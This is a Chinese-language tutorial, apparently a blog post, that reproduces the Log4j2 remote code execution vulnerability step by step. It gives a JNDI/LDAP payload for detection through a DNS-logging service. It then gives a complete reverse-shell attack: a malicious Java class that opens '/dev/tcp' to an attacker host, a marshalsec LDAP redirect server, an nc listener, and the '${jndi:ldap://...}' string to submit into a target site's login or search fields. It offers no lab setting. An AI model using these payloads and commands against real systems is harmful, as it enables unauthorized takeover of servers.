log4j2远程代码执行漏洞复现
摘要:2021年12月,log4j2被爆出存在重大安全漏洞,本文将介绍如何复现漏洞,并获取服务器的控制权
漏洞介绍
略,参考百度
漏洞复现(DNSLOG)
首先去一些免费的dnslog网站申请一个域名. 比如我用的是 ceye.io ,注册好账号后你就会得到一个二级域名,例如
8o5ug3.ceye.io
去被攻击的网站上找到需要用户输入的地方,比如登录页面的用户名密码框,或是关键字检索输入框;在输入框中输入以下内容并提交。
1
${jndi:ldap://8o5ug3.ceye.io/exp}
注:也可使用子域名,如aaa.8o5ug3.ceye.io,来区分不同的攻击目标
回到 ceye.io 网站,进入
Records
-DNS Query
菜单,如果能看到刚刚新增了一条记录,说明目标网站存在此漏洞,即复现成功。
漏洞复现(反弹Shell)
首先要找一台具有公网ip的服务器,作为你的攻击工具,本文中不妨记为
hackdemo.com
,需要开放端口12012、12013、12014。编写恶意java代码,代码如下(注意代码中的域名换成你实际的服务器地址)
TouchFile.java
1
2
3
4
5
6
7
8
9
10
11
12
13import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/hackdemo.com/12013 0>&1"});
p.waitFor();
} catch (Exception e) {
}
}
}编译java文件,得到
TouchFile.class
1
javac TouchFile.java
在服务器A上部署一个web服务(端口用12012),无所谓nginx、tomcat、python、nodejs都行,然后把
TouchFile.class
文件放到根目录下,保证能通过此链接将class文件下载下来。1
http://hackdemo.com:12012/TouchFile.class
到Github上找到这个项目 marshalsec ,clone下来,
mvn clean package -DskipTests
进行打包,将打包好的jar包(marshalsec-0.0.3-SNAPSHOT-all.jar
)上传到服务器hackdemo.com
启动marshalsec服务(窗口1)
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://hackdemo.com:12012/#TouchFile" 12014
再开一个shell窗口(窗口2),执行以下命令,启动一个监听
1
nc -lvvp 12013
去被攻击的网站上找到需要用户输入的地方,比如登录页面的用户名密码框,或是关键字检索输入框;在输入框中输入以下内容并提交。
1
${jndi:ldap://hackdemo.com:12014/TouchFile}
观察窗口1有连接日志
1
2
3
4[root@VM-0-10-centos ~]# cd /opt/marshalsec/
[root@VM-0-10-centos marshalsec]# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://hackdemo.com:12012/#TouchFile" 12014
Listening on 0.0.0.0:12014
Send LDAP reference result for TouchFile redirecting to http://hackdemo.com:12012/TouchFile.class观察窗口2的监听上发生变化,可输入命令直接操作被攻击网站的服务器,到此完成漏洞复现。
1 | [root@VM-0-10-centos ~]# nc -lvvp 12013 |